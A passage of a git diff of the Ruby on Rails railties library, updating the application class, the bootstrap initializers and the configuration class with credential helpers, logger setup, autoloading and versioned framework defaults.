+    # Returns an ActiveSupport::EncryptedConfiguration instance for the
+    # credentials file specified by +config.credentials.content_path+.
+    #
+    # By default, +config.credentials.content_path+ will point to either
+    # <tt>config/credentials/#{environment}.yml.enc</tt> for the current
+    # environment (for example, +config/credentials/production.yml.enc+ for the
+    # +production+ environment), or +config/credentials.yml.enc+ if that file
+    # does not exist.
+    #
+    # The encryption key is taken from either <tt>ENV["RAILS_MASTER_KEY"]</tt>,
+    # or from the file specified by +config.credentials.key_path+. By default,
+    # +config.credentials.key_path+ will point to either
+    # <tt>config/credentials/#{environment}.key</tt> for the current
+    # environment, or +config/master.key+ if that file does not exist.
+    def credentials
+      @credentials ||= encrypted(config.credentials.content_path, key_path: config.credentials.key_path)
+    end
+
+    # Returns an ActiveSupport::EncryptedConfiguration instance for an encrypted
+    # file. By default, the encryption key is taken from either
+    # <tt>ENV["RAILS_MASTER_KEY"]</tt>, or from the +config/master.key+ file.
+    #
+    #   my_config = Rails.application.encrypted("config/my_config.enc")
+    #
+    #   my_config.read
+    #   # => "foo:\n  bar: 123\n"
+    #
+    #   my_config.foo.bar
+    #   # => 123
+    #
+    # Encrypted files can be edited with the <tt>bin/rails encrypted:edit</tt>
+    # command. (See the output of <tt>bin/rails encrypted:edit --help</tt> for
+    # more information.)
+    def encrypted(path, key_path: "config/master.key", env_key: "RAILS_MASTER_KEY")
+      ActiveSupport::EncryptedConfiguration.new(
+        config_path: Rails.root.join(path),
+        key_path: Rails.root.join(key_path),
+        env_key: env_key,
+        raise_if_missing_key: config.require_master_key
+      )
+    end
+
+    def to_app # :nodoc:
       self
     end
 
-    def helpers_paths #:nodoc:
+    def helpers_paths # :nodoc:
       config.helpers_paths
     end
 
-    console do
-      require "pp"
-    end
-
     console do
       unless ::Kernel.private_method_defined?(:y)
         require "psych/y"
@@ -439,38 +546,52 @@ def migration_railties # :nodoc:
       ordered_railties.flatten - [self]
     end
 
-  protected
+    def load_generators(app = self) # :nodoc:
+      app.ensure_generator_templates_added
+      super
+    end
+
+    # Eager loads the application code.
+    def eager_load!
+      Rails.autoloaders.each(&:eager_load)
+    end
 
+  protected
     alias :build_middleware_stack :app
 
-    def run_tasks_blocks(app) #:nodoc:
+    def run_tasks_blocks(app) # :nodoc:
       railties.each { |r| r.run_tasks_blocks(app) }
       super
-      require "rails/tasks"
+      load "rails/tasks.rb"
       task :environment do
-        ActiveSupport.on_load(:before_initialize) { config.eager_load = false }
+        ActiveSupport.on_load(:before_initialize) { config.eager_load = config.rake_eager_load }
 
         require_environment!
       end
     end
 
-    def run_generators_blocks(app) #:nodoc:
+    def run_generators_blocks(app) # :nodoc:
       railties.each { |r| r.run_generators_blocks(app) }
       super
     end
 
-    def run_runner_blocks(app) #:nodoc:
+    def run_runner_blocks(app) # :nodoc:
       railties.each { |r| r.run_runner_blocks(app) }
       super
     end
 
-    def run_console_blocks(app) #:nodoc:
+    def run_console_blocks(app) # :nodoc:
       railties.each { |r| r.run_console_blocks(app) }
       super
     end
 
+    def run_server_blocks(app) # :nodoc:
+      railties.each { |r| r.run_server_blocks(app) }
+      super
+    end
+
     # Returns the ordered railties for this application considering railties_order.
-    def ordered_railties #:nodoc:
+    def ordered_railties # :nodoc:
       @ordered_railties ||= begin
         order = config.railties_order.map do |railtie|
           if railtie == :main_app
@@ -492,8 +613,8 @@ def ordered_railties #:nodoc:
       end
     end
 
-    def railties_initializers(current) #:nodoc:
-      initializers = []
+    def railties_initializers(current) # :nodoc:
+      initializers = Initializable::Collection.new
       ordered_railties.reverse.flatten.each do |r|
         if r == self
           initializers += current
@@ -504,23 +625,28 @@ def railties_initializers(current) #:nodoc:
       initializers
     end
 
-    def default_middleware_stack #:nodoc:
+    def default_middleware_stack # :nodoc:
       default_stack = DefaultMiddlewareStack.new(self, config, paths)
       default_stack.build_stack
     end
 
-    def validate_secret_key_config! #:nodoc:
-      if secrets.secret_key_base.blank?
-        ActiveSupport::Deprecation.warn "You didn't set `secret_key_base`. " \
-          "Read the upgrade documentation to learn more about this new config option."
-
-        if secrets.secret_token.blank?
-          raise "Missing `secret_key_base` for '#{Rails.env}' environment, set this value in `config/secrets.yml`"
-        end
-      end
+    def ensure_generator_templates_added
+      configured_paths = config.generators.templates
+      configured_paths.unshift(*(paths["lib/templates"].existent - configured_paths))
     end
 
     private
+      def missing_environment_file
+        raise "Rails environment has been set to #{Rails.env} but config/environments/#{Rails.env}.rb does not exist."
+      end
+
+      def any_environment_files?
+        paths["config/environments"]
+          .paths
+          .flat_map { |path| [path, *path.glob("*.rb")] }
+          .select(&:file?)
+          .any?
+      end
 
       def build_request(env)
         req = super
@@ -532,5 +658,18 @@ def build_request(env)
       def build_middleware
         config.app_middleware + super
       end
+
+      def coerce_same_site_protection(protection)
+        protection.respond_to?(:call) ? protection : proc { protection }
+      end
+
+      def filter_parameters
+        if config.precompile_filter_parameters
+          config.filter_parameters.replace(
+            ActiveSupport::ParameterFilter.precompile_filters(config.filter_parameters)
+          )
+        end
+        config.filter_parameters
+      end
   end
 end
diff --git a/railties/lib/rails/application/bootstrap.rb b/railties/lib/rails/application/bootstrap.rb
index 6102af3ffff28..98c4797e44100 100644
--- a/railties/lib/rails/application/bootstrap.rb
+++ b/railties/lib/rails/application/bootstrap.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "fileutils"
 require "active_support/notifications"
 require "active_support/dependencies"
@@ -16,52 +18,71 @@ module Bootstrap
 
       initializer :set_eager_load, group: :all do
         if config.eager_load.nil?
-          warn <<-INFO
-config.eager_load is set to nil. Please update your config/environments/*.rb files accordingly:
+          warn <<~INFO
+            config.eager_load is set to nil. Please update your config/environments/*.rb files accordingly:
 
-  * development - set it to false
-  * test - set it to false (unless you use a tool that preloads your test environment)
-  * production - set it to true
+              * development - set it to false
+              * test - set it to false (unless you use a tool that preloads your test environment)
+              * production - set it to true
 
-INFO
-          config.eager_load = config.cache_classes
+          INFO
+          config.eager_load = !config.reloading_enabled?
         end
       end
 
       # Initialize the logger early in the stack in case we need to log some deprecation.
       initializer :initialize_logger, group: :all do
         Rails.logger ||= config.logger || begin
-          path = config.paths["log"].first
-          unless File.exist? File.dirname path
-            FileUtils.mkdir_p File.dirname path
+          logger = if config.log_file_size
+            ActiveSupport::Logger.new(config.default_log_file, 1, config.log_file_size)
+          else
+            ActiveSupport::Logger.new(config.default_log_file)
           end
-
-          f = File.open path, "a"
-          f.binmode
-          f.sync = config.autoflush_log # if true make sure every write flushes
-
-          logger = ActiveSupport::Logger.new f
           logger.formatter = config.log_formatter
           logger = ActiveSupport::TaggedLogging.new(logger)
           logger
         rescue StandardError
+          path = config.paths["log"].first
           logger = ActiveSupport::TaggedLogging.new(ActiveSupport::Logger.new(STDERR))
           logger.level = ActiveSupport::Logger::WARN
           logger.warn(
             "Rails Error: Unable to access log file. Please ensure that #{path} exists and is writable " \
-            "(ie, make it writable for user and group: chmod 0664 #{path}). " \
+            "(i.e. make it writable for user and group: chmod 0664 #{path}). " \
             "The log level has been raised to WARN and the output directed to STDERR until the problem is fixed."
           )
           logger
         end
 
-        Rails.logger.level = ActiveSupport::Logger.const_get(config.log_level.to_s.upcase)
+        if Rails.logger.is_a?(ActiveSupport::BroadcastLogger)
+          if config.broadcast_log_level
+            Rails.logger.level = ActiveSupport::Logger.const_get(config.broadcast_log_level.to_s.upcase)
+          end
+        else
+          Rails.logger.level = ActiveSupport::Logger.const_get(config.log_level.to_s.upcase)
+          Rails.logger = ActiveSupport::BroadcastLogger.new(Rails.logger)
+        end
+      end
+
+      initializer :initialize_error_reporter, group: :all do
+        if config.consider_all_requests_local
+          Rails.error.debug_mode = true
+        else
+          Rails.error.logger = Rails.logger
+        end
+      end
+
+      initializer :initialize_event_reporter, group: :all do
+        Rails.event.raise_on_error = config.consider_all_requests_local
+        Rails.event.debug_mode = config.log_level.to_s == "debug"
       end
 
       # Initialize cache early in the stack so railties can make use of it.
       initializer :initialize_cache, group: :all do
+        cache_format_version = config.active_support.delete(:cache_format_version)
+        ActiveSupport.cache_format_version = cache_format_version if cache_format_version
+
         unless Rails.cache
-          Rails.cache = ActiveSupport::Cache.lookup_store(config.cache_store)
+          Rails.cache = ActiveSupport::Cache.lookup_store(*config.cache_store)
 
           if Rails.cache.respond_to?(:middleware)
             config.middleware.insert_before(::Rack::Runtime, Rails.cache.middleware)
@@ -69,9 +90,26 @@ module Bootstrap
         end
       end
 
-      # Sets the dependency loading mechanism.
-      initializer :initialize_dependency_mechanism, group: :all do
-        ActiveSupport::Dependencies.mechanism = config.cache_classes ? :require : :load
+      # We setup the once autoloader this early so that engines and applications
+      # are able to autoload from these paths during initialization.
+      initializer :setup_once_autoloader, after: :set_eager_load_paths, before: :bootstrap_hook do
+        autoloader = Rails.autoloaders.once
+
+        # Normally empty, but if the user already defined some, we won't
+        # override them. Important if there are custom namespaces associated.
+        already_configured_dirs = Set.new(autoloader.dirs)
+
+        ActiveSupport::Dependencies.autoload_once_paths.freeze
+        ActiveSupport::Dependencies.autoload_once_paths.uniq.each do |path|
+          # Zeitwerk only accepts existing directories in `push_dir`.
+          next unless File.directory?(path)
+          next if already_configured_dirs.member?(path.to_s)
+
+          autoloader.push_dir(path)
+          autoloader.do_not_eager_load(path) unless ActiveSupport::Dependencies.eager_load?(path)
+        end
+
+        autoloader.setup
       end
 
       initializer :bootstrap_hook, group: :all do |app|
diff --git a/railties/lib/rails/application/configuration.rb b/railties/lib/rails/application/configuration.rb
index b0d33f87a32fd..ca6ba7401a030 100644
--- a/railties/lib/rails/application/configuration.rb
+++ b/railties/lib/rails/application/configuration.rb
@@ -1,56 +1,405 @@
+# frozen_string_literal: true
+
+require "ipaddr"
+require "active_support/core_ext/array/wrap"
 require "active_support/core_ext/kernel/reporting"
 require "active_support/file_update_checker"
+require "active_support/configuration_file"
 require "rails/engine/configuration"
 require "rails/source_annotation_extractor"
 
 module Rails
   class Application
     class Configuration < ::Rails::Engine::Configuration
-      attr_accessor :allow_concurrency, :asset_host, :autoflush_log,
+      attr_accessor :allow_concurrency, :asset_host, :assume_ssl, :autoflush_log,
                     :cache_classes, :cache_store, :consider_all_requests_local, :console,
-                    :eager_load, :exceptions_app, :file_watcher, :filter_parameters,
-                    :force_ssl, :helpers_paths, :logger, :log_formatter, :log_tags,
-                    :railties_order, :relative_url_root, :secret_key_base, :secret_token,
+                    :eager_load, :exceptions_app, :file_watcher, :filter_parameters, :precompile_filter_parameters,
+                    :force_ssl, :helpers_paths, :hosts, :host_authorization, :logger, :log_formatter,
+                    :log_tags, :silence_healthcheck_path, :railties_order, :relative_url_root,
                     :ssl_options, :public_file_server,
                     :session_options, :time_zone, :reload_classes_only_on_change,
-                    :beginning_of_week, :filter_redirect, :x, :enable_dependency_loading
+                    :beginning_of_week, :filter_redirect, :x,
+                    :content_security_policy_report_only,
+                    :content_security_policy_nonce_generator, :content_security_policy_nonce_directives,
+                    :content_security_policy_nonce_auto,
+                    :require_master_key, :credentials, :disable_sandbox, :sandbox_by_default,
+                    :add_autoload_paths_to_load_path, :rake_eager_load, :server_timing, :log_file_size,
+                    :dom_testing_default_html_version, :yjit
 
-      attr_writer :log_level
-      attr_reader :encoding, :api_only
+      attr_reader :encoding, :api_only, :loaded_config_version, :log_level
 
       def initialize(*)
         super
-        self.encoding                    = Encoding::UTF_8
-        @allow_concurrency               = nil
-        @consider_all_requests_local     = false
-        @filter_parameters               = []
-        @filter_redirect                 = []
-        @helpers_paths                   = []
-        @public_file_server              = ActiveSupport::OrderedOptions.new
-        @public_file_server.enabled      = true
-        @public_file_server.index_name   = "index"
-        @force_ssl                       = false
-        @ssl_options                     = {}
-        @session_store                   = nil
-        @time_zone                       = "UTC"
-        @beginning_of_week               = :monday
-        @log_level                       = nil
-        @generators                      = app_generators
-        @cache_store                     = [ :file_store, "#{root}/tmp/cache/" ]
-        @railties_order                  = [:all]
-        @relative_url_root               = ENV["RAILS_RELATIVE_URL_ROOT"]
-        @reload_classes_only_on_change   = true
-        @file_watcher                    = ActiveSupport::FileUpdateChecker
-        @exceptions_app                  = nil
-        @autoflush_log                   = true
-        @log_formatter                   = ActiveSupport::Logger::SimpleFormatter.new
-        @eager_load                      = nil
-        @secret_token                    = nil
-        @secret_key_base                 = nil
-        @api_only                        = false
-        @debug_exception_response_format = nil
-        @x                               = Custom.new
-        @enable_dependency_loading       = false
+        self.encoding                            = Encoding::UTF_8
+        @allow_concurrency                       = nil
+        @consider_all_requests_local             = false
+        @filter_parameters                       = []
+        @filter_redirect                         = []
+        @helpers_paths                           = []
+        if Rails.env.development?
+          @hosts = ActionDispatch::HostAuthorization::ALLOWED_HOSTS_IN_DEVELOPMENT +
+            ENV["RAILS_DEVELOPMENT_HOSTS"].to_s.split(",").map(&:strip)
+        else
+          @hosts = []
+        end
+        @host_authorization                      = {}
+        @public_file_server                      = ActiveSupport::OrderedOptions.new
+        @public_file_server.enabled              = true
+        @public_file_server.index_name           = "index"
+        @assume_ssl                              = false
+        @force_ssl                               = false
+        @ssl_options                             = {}
+        @session_store                           = nil
+        @time_zone                               = "UTC"
+        @beginning_of_week                       = :monday
+        @log_level                               = :debug
+        @log_file_size                           = nil
+        @generators                              = app_generators
+        @cache_store                             = [ :file_store, "#{root}/tmp/cache/" ]
+        @railties_order                          = [:all]
+        @relative_url_root                       = ENV["RAILS_RELATIVE_URL_ROOT"]
+        @reload_classes_only_on_change           = true
+        @file_watcher                            = ActiveSupport::FileUpdateChecker
+        @exceptions_app                          = nil
+        @autoflush_log                           = true
+        @log_formatter                           = ActiveSupport::Logger::SimpleFormatter.new
+        @silence_healthcheck_path                = nil
+        @eager_load                              = nil
+        @secret_key_base                         = nil
+        @api_only                                = false
+        @debug_exception_response_format         = nil
+        @x                                       = Custom.new
+        @content_security_policy                 = nil
+        @content_security_policy_report_only     = false
+        @content_security_policy_nonce_generator = nil
+        @content_security_policy_nonce_directives = nil
+        @content_security_policy_nonce_auto      = false
+        @require_master_key                      = false
+        @loaded_config_version                   = nil
+        @credentials                             = ActiveSupport::InheritableOptions.new(credentials_defaults)
+        @disable_sandbox                         = false
+        @sandbox_by_default                      = false
+        @add_autoload_paths_to_load_path         = true
+        @permissions_policy                      = nil
+        @rake_eager_load                         = false
+        @server_timing                           = false
+        @dom_testing_default_html_version        = :html4
+        @yjit                                    = false
+      end
+
+      # Loads default configuration values for a target version. This includes
+      # defaults for versions prior to the target version. See the
+      # {configuration guide}[https://guides.rubyonrails.org/configuring.html#versioned-default-values]
+      # for the default values associated with a particular version.
+      def load_defaults(target_version)
+        # To introduce a change in behavior, follow these steps:
+        # 1. Add an accessor on the target object (e.g. the ActiveJob class for
+        #    global Active Job config).
+        # 2. Set a default value there preserving existing behavior for existing
+        #    applications.
+        # 3. Implement the behavior change based on the config value.
+        # 4. In the section below corresponding to the next release of Rails,
+        #    configure the default value.
+        # 5. Add a commented out section in the `new_framework_defaults` to
+        #    configure the default value again.
+        # 6. Update the guide in `configuring.md`.
+
+        # To remove configurable deprecated behavior, follow these steps:
+        # 1. Update or remove the entry in the guides.
+        # 2. Remove the references below.
+        # 3. Remove the legacy code paths and config check.
+        # 4. Remove the config accessor.
+
+        case target_version.to_s
+        when "5.0"
+          if respond_to?(:action_controller)
+            action_controller.per_form_csrf_tokens = true
+            action_controller.forgery_protection_origin_check = true
+          end
+
+          if respond_to?(:active_record)
+            active_record.belongs_to_required_by_default = true
+          end
+
+          self.ssl_options = { hsts: { subdomains: true } }
+        when "5.1"
+          load_defaults "5.0"
+
+          if respond_to?(:assets)
+            assets.unknown_asset_fallback = false
+          end
+
+          if respond_to?(:action_view)
+            action_view.form_with_generates_remote_forms = true
+          end
+        when "5.2"
+          load_defaults "5.1"
+
+          if respond_to?(:active_record)
+            active_record.cache_versioning = true
+          end
+
+          if respond_to?(:action_dispatch)
+            action_dispatch.use_authenticated_cookie_encryption = true
+          end
+
+          if respond_to?(:active_support)
+            active_support.use_authenticated_message_encryption = true
+            active_support.hash_digest_class = OpenSSL::Digest::SHA1
+          end
+
+          if respond_to?(:action_controller)
+            action_controller.default_protect_from_forgery = true
+          end
+
+          if respond_to?(:action_view)
+            action_view.form_with_generates_ids = true
+          end
+        when "6.0"
+          load_defaults "5.2"
+
+          if respond_to?(:action_view)
+            action_view.default_enforce_utf8 = false
+          end
+
+          if respond_to?(:action_dispatch)
+            action_dispatch.use_cookies_with_metadata = true
+          end
+
+          if respond_to?(:action_mailer)
+            action_mailer.delivery_job = "ActionMailer::MailDeliveryJob"
+          end
+
+          if respond_to?(:active_storage)
+            active_storage.queues.analysis = :active_storage_analysis
+            active_storage.queues.purge    = :active_storage_purge
+          end
+
+          if respond_to?(:active_record)
+            active_record.collection_cache_versioning = true
+          end
+        when "6.1"
+          load_defaults "6.0"
+
+          if respond_to?(:active_record)
+            active_record.has_many_inversing = true
+          end
+
+          if respond_to?(:active_job)
+            active_job.retry_jitter = 0.15
+          end
+
+          if respond_to?(:action_dispatch)
+            action_dispatch.cookies_same_site_protection = :lax
+            action_dispatch.ssl_default_redirect_status = 308
+          end
+
+          if respond_to?(:action_view)
+            action_view.form_with_generates_remote_forms = false
+            action_view.preload_links_header = true
+          end
+
+          if respond_to?(:active_storage)
+            active_storage.track_variants = true
+
+            active_storage.queues.analysis = nil
+            active_storage.queues.purge = nil
+          end
+
+          if respond_to?(:action_mailbox)
+            action_mailbox.queues.incineration = nil
+            action_mailbox.queues.routing = nil
+          end
+
+          if respond_to?(:action_mailer)
+            action_mailer.deliver_later_queue_name = nil
+          end
+
+          ActiveSupport.utc_to_local_returns_utc_offset_times = true
+        when "7.0"
+          load_defaults "6.1"
+
+          if respond_to?(:action_dispatch)
+            action_dispatch.default_headers = {
+              "X-Frame-Options" => "SAMEORIGIN",
+              "X-XSS-Protection" => "0",
+              "X-Content-Type-Options" => "nosniff",
+              "X-Download-Options" => "noopen",
+              "X-Permitted-Cross-Domain-Policies" => "none",
+              "Referrer-Policy" => "strict-origin-when-cross-origin"
+            }
+            action_dispatch.cookies_serializer = :json
+          end
+
+          if respond_to?(:action_view)
+            action_view.button_to_generates_button_tag = true
+            action_view.apply_stylesheet_media_default = false
+          end
+
+          if respond_to?(:active_support)
+            active_support.hash_digest_class = OpenSSL::Digest::SHA256
+            active_support.key_generator_hash_digest_class = OpenSSL::Digest::SHA256
+            active_support.cache_format_version = 7.0
+            active_support.executor_around_test_case = true
+          end
+
+          if respond_to?(:action_mailer)
+            action_mailer.smtp_timeout = 5
+          end
+
+          if respond_to?(:active_storage)
+            active_storage.video_preview_arguments =
+              "-vf 'select=eq(n\\,0)+eq(key\\,1)+gt(scene\\,0.015),loop=loop=-1:size=2,trim=start_frame=1'" \
+              " -frames:v 1 -f image2"
+
+            active_storage.variant_processor = :vips
+            active_storage.multiple_file_field_include_hidden = true
+          end
+
+          if respond_to?(:active_record)
+            active_record.verify_foreign_keys_for_fixtures = true
+            active_record.partial_inserts = false
+            active_record.automatic_scope_inversing = true
+          end
+
+          if respond_to?(:action_controller)
+            action_controller.action_on_open_redirect = :raise
+            action_controller.wrap_parameters_by_default = true
+          end
+        when "7.1"
+          load_defaults "7.0"
+
+          self.add_autoload_paths_to_load_path = false
+          self.precompile_filter_parameters = true
+          self.dom_testing_default_html_version = defined?(Nokogiri::HTML5) ? :html5 : :html4
+
+          if Rails.env.local?
+            self.log_file_size = 100 * 1024 * 1024
+          end
+
+          if respond_to?(:active_record)
+            active_record.run_commit_callbacks_on_first_saved_instances_in_transaction = false
+            active_record.sqlite3_adapter_strict_strings_by_default = true
+            active_record.query_log_tags_format = :sqlcommenter
+            active_record.raise_on_assign_to_attr_readonly = true
+            active_record.belongs_to_required_validates_foreign_key = false
+            active_record.before_committed_on_all_records = true
+            active_record.default_column_serializer = nil
+            active_record.encryption.hash_digest_class = OpenSSL::Digest::SHA256
+            active_record.encryption.support_sha1_for_non_deterministic_encryption = false
+            active_record.marshalling_format_version = 7.1
+            active_record.run_after_transaction_callbacks_in_order_defined = true
+            active_record.generate_secure_token_on = :initialize
+          end
+
+          if respond_to?(:action_dispatch)
+            action_dispatch.default_headers = {
+              "X-Frame-Options" => "SAMEORIGIN",
+              "X-XSS-Protection" => "0",
+              "X-Content-Type-Options" => "nosniff",
+              "X-Permitted-Cross-Domain-Policies" => "none",
+              "Referrer-Policy" => "strict-origin-when-cross-origin"
+            }
+            action_dispatch.debug_exception_log_level = :error
+          end
+
+          if respond_to?(:active_support)
+            active_support.cache_format_version = 7.1
+            active_support.message_serializer = :json_allow_marshal
+            active_support.use_message_serializer_for_metadata = true
+            active_support.raise_on_invalid_cache_expiration_time = true
+          end
+
+          if respond_to?(:action_view)
+            require "action_view/helpers"
+            action_view.sanitizer_vendor = Rails::HTML::Sanitizer.best_supported_vendor
+          end
+
+          if respond_to?(:action_text)
+            require "action_view/helpers"
+            action_text.sanitizer_vendor = Rails::HTML::Sanitizer.best_supported_vendor
+          end
+        when "7.2"
+          load_defaults "7.1"
+
+          self.yjit = true
+
+          if respond_to?(:active_storage)
+            active_storage.web_image_content_types = %w( image/png image/jpeg image/gif image/webp )
+          end
+
+          if respond_to?(:active_record)
+            active_record.postgresql_adapter_decode_dates = true
+            active_record.validate_migration_timestamps = true
+          end
+        when "8.0"
+          load_defaults "7.2"
+
+          if respond_to?(:action_dispatch)
+            action_dispatch.strict_freshness = true
+          end
+
+          Regexp.timeout ||= 1 if Regexp.respond_to?(:timeout=)
+        when "8.1"
+          load_defaults "8.0"
+
+          # Development and test environments tend to reload code and
+          # redefine methods (e.g. mocking), hence YJIT isn't generally
+          # faster in these environments.
+          self.yjit = !Rails.env.local?
+
+          if respond_to?(:action_controller)
+            action_controller.escape_json_responses = false
+            action_controller.action_on_path_relative_redirect = :raise
+          end
+
+          if respond_to?(:active_record)
+            active_record.raise_on_missing_required_finder_order_columns = true
+          end
+
+          if respond_to?(:active_support)
+            active_support.escape_js_separators_in_json = false
+          end
+
+          if respond_to?(:action_view)
+            action_view.render_tracker = :ruby
+          end
+
+          if respond_to?(:action_view)
+            action_view.remove_hidden_field_autocomplete = true
+          end
+        when "8.2"
+          load_defaults "8.1"
+
+          if respond_to?(:action_controller)
+            action_controller.forgery_protection_verification_strategy = :header_only
+          end
+
+          if respond_to?(:active_record)
+            active_record.postgresql_adapter_decode_bytea = true
+            active_record.postgresql_adapter_decode_money = true
+          end
+
+          if respond_to?(:active_storage)
+            active_storage.analyze = :immediately
+          end
+        else
+          raise "Unknown version #{target_version.to_s.inspect}"
+        end
+
+        @loaded_config_version = target_version
+      end
+
+      def reloading_enabled?
+        enable_reloading
+      end
+
+      def enable_reloading
+        !cache_classes
+      end
+
+      def enable_reloading=(value)
+        self.cache_classes = !value
       end
 
       def encoding=(value)
@@ -68,19 +417,23 @@ def api_only=(value)
         @debug_exception_response_format ||= :api
       end
 
+      def log_level=(level)
+        @log_level = level
+        @broadcast_log_level = level
+      end
+
+      attr_reader :broadcast_log_level # :nodoc:
+
       def debug_exception_response_format
         @debug_exception_response_format || :default
       end
 
-      def debug_exception_response_format=(value)
-        @debug_exception_response_format = value
-      end
+      attr_writer :debug_exception_response_format
 
       def paths
         @paths ||= begin
           paths = super
           paths.add "config/database",    with: "config/database.yml"
-          paths.add "config/secrets",     with: "config/secrets.yml"
           paths.add "config/environment", with: "config/environment.rb"
           paths.add "lib/templates"
           paths.add "log",                with: "log/#{Rails.env}.log"
@@ -92,16 +445,53 @@ def paths
         end
       end
 
+      # Load the <tt>config/database.yml</tt> to create the Rake tasks for
+      # multiple databases without loading the environment and filling in the
+      # environment specific configuration values.
+      #
+      # Do not use this method, use #database_configuration instead.
+      def load_database_yaml # :nodoc:
+        if path = paths["config/database"].existent.first
+          require "rails/application/dummy_config"
+          original_rails_config = Rails.application.config
+
+          begin
+            Rails.application.config = DummyConfig.new(original_rails_config)
+            ActiveSupport::ConfigurationFile.parse(Pathname.new(path))
+          ensure
+            Rails.application.config = original_rails_config
+          end
+        else
+          {}
+        end
+      end
+
       # Loads and returns the entire raw configuration of database from
-      # values stored in `config/database.yml`.
+      # values stored in <tt>config/database.yml</tt>.
       def database_configuration
         path = paths["config/database"].existent.first
         yaml = Pathname.new(path) if path
 
-        config = if yaml && yaml.exist?
-          require "yaml"
-          require "erb"
-          YAML.load(ERB.new(yaml.read).result) || {}
+        config = if yaml&.exist?
+          loaded_yaml = ActiveSupport::ConfigurationFile.parse(yaml)
+          if (shared = loaded_yaml.delete("shared"))
+            loaded_yaml.each do |env, config|
+              if config.is_a?(Hash) && config.values.all?(Hash)
+                if shared.is_a?(Hash) && shared.values.all?(Hash)
+                  config.map do |name, sub_config|
+                    sub_config.reverse_merge!(shared[name])
+                  end
+                else
+                  config.map do |name, sub_config|
+                    sub_config.reverse_merge!(shared)
+                  end
+                end
+              else
+                config.reverse_merge!(shared)
+              end
+            end
+          end
+          Hash.new(shared).merge(loaded_yaml)
         elsif ENV["DATABASE_URL"]
           # Value from ENV['DATABASE_URL'] is set to default database connection
           # by Active Record.
@@ -111,81 +501,184 @@ def database_configuration
         end
 
         config
-      rescue Psych::SyntaxError => e
-        raise "YAML syntax error occurred while parsing #{paths["config/database"].first}. " \
-              "Please note that YAML must be consistently indented using spaces. Tabs are not allowed. " \
-              "Error: #{e.message}"
       rescue => e
-        raise e, "Cannot load `Rails.application.database_configuration`:\n#{e.message}", e.backtrace
+        raise e, "Cannot load database configuration:\n#{e.message}", e.backtrace
       end
 
-      def log_level
-        @log_level ||= (Rails.env.production? ? :info : :debug)
+      def autoload_lib(ignore:)
+        lib = root.join("lib")
+
+        # Set as a string to have the same type as default autoload paths, for
+        # consistency.
+        autoload_paths << lib.to_s
+        eager_load_paths << lib.to_s
+
+        ignored_abspaths = Array.wrap(ignore).map { lib.join(_1) }
+        Rails.autoloaders.main.ignore(ignored_abspaths)
+      end
+
+      def autoload_lib_once(ignore:)
+        lib = root.join("lib")
+
+        # Set as a string to have the same type as default autoload paths, for
+        # consistency.
+        autoload_once_paths << lib.to_s
+        eager_load_paths << lib.to_s
+
+        ignored_abspaths = Array.wrap(ignore).map { lib.join(_1) }
+        Rails.autoloaders.once.ignore(ignored_abspaths)
       end
 
       def colorize_logging
-        ActiveSupport::LogSubscriber.colorize_logging
+        ActiveSupport.colorize_logging
       end
 
       def colorize_logging=(val)
-        ActiveSupport::LogSubscriber.colorize_logging = val
+        ActiveSupport.colorize_logging = val
         generators.colorize_logging = val
       end
 
-      def session_store(new_session_store = nil, **options)
-        if new_session_store
-          if new_session_store == :active_record_store
-            begin
-              ActionDispatch::Session::ActiveRecordStore
-            rescue NameError
-              raise "`ActiveRecord::SessionStore` is extracted out of Rails into a gem. " \
-                "Please add `activerecord-session_store` to your Gemfile to use it."
-            end
+      def secret_key_base
+        @secret_key_base || begin
+          self.secret_key_base = if ENV["SECRET_KEY_BASE_DUMMY"]
+            generate_local_secret
+          else
+            ENV["SECRET_KEY_BASE"] ||
+              Rails.application.credentials.secret_key_base ||
+              (Rails.env.local? && generate_local_secret)
           end
+        end
+      end
 
+      def secret_key_base=(new_secret_key_base)
+        if new_secret_key_base.nil? && Rails.env.local?
+          @secret_key_base = generate_local_secret
+        elsif new_secret_key_base.is_a?(String) && new_secret_key_base.present?
+          @secret_key_base = new_secret_key_base
+        elsif new_secret_key_base
+          raise ArgumentError, "`secret_key_base` for #{Rails.env} environment must be a type of String`"
+        else
+          raise ArgumentError, "Missing `secret_key_base` for '#{Rails.env}' environment, set this string with `bin/rails credentials:edit`"
+        end
+      end
+
+      # Specifies what class to use to store the session. Possible values
+      # are +:cache_store+, +:cookie_store+, +:mem_cache_store+, a custom
+      # store, or +:disabled+. +:disabled+ tells \Rails not to deal with
+      # sessions.
+      #
+      # Additional options will be set as +session_options+:
+      #
+      #   config.session_store :cookie_store, key: "_your_app_session"
+      #   config.session_options # => {key: "_your_app_session"}
+      #
+      # If a custom store is specified as a symbol, it will be resolved to
+      # the +ActionDispatch::Session+ namespace:
+      #
+      #   # use ActionDispatch::Session::MyCustomStore as the session store
+      #   config.session_store :my_custom_store
+      def session_store(new_session_store = nil, **options)
+        if new_session_store
           @session_store = new_session_store
           @session_options = options || {}
         else
           case @session_store
           when :disabled
             nil
-          when :active_record_store
-            ActionDispatch::Session::ActiveRecordStore
           when Symbol
-            ActionDispatch::Session.const_get(@session_store.to_s.camelize)
+            ActionDispatch::Session.resolve_store(@session_store)
           else
             @session_store
           end
         end
       end
 
-      def session_store? #:nodoc:
+      def session_store? # :nodoc:
         @session_store
       end
 
       def annotations
-        SourceAnnotationExtractor::Annotation
+        Rails::SourceAnnotationExtractor::Annotation
+      end
+
+      # Configures the ActionDispatch::ContentSecurityPolicy.
+      def content_security_policy(&block)
+        if block_given?
+          @content_security_policy = ActionDispatch::ContentSecurityPolicy.new(&block)
+        else
+          @content_security_policy
+        end
       end
 
-      class Custom #:nodoc:
+      # Configures the ActionDispatch::PermissionsPolicy.
+      def permissions_policy(&block)
+        if block_given?
+          @permissions_policy = ActionDispatch::PermissionsPolicy.new(&block)
+        else
+          @permissions_policy
+        end
+      end
+
+      def default_log_file
+        path = paths["log"].first
+        unless File.exist? File.dirname path
+          FileUtils.mkdir_p File.dirname path
+        end
+
+        f = File.open path, "a"
+        f.binmode
+        f.sync = autoflush_log # if true make sure every write flushes
+        f
+      end
+
+      def inspect # :nodoc:
+        "#<#{self.class.name}:#{'%#016x' % (object_id << 1)}>"
+      end
+
+      class Custom # :nodoc:
         def initialize
           @configurations = Hash.new
         end
 
         def method_missing(method, *args)
-          if method =~ /=$/
-            @configurations[$`.to_sym] = args.first
-          else
+          if method.end_with?("=")
+            @configurations[:"#{method[0..-2]}"] = args.first
+          elsif args.empty?
             @configurations.fetch(method) {
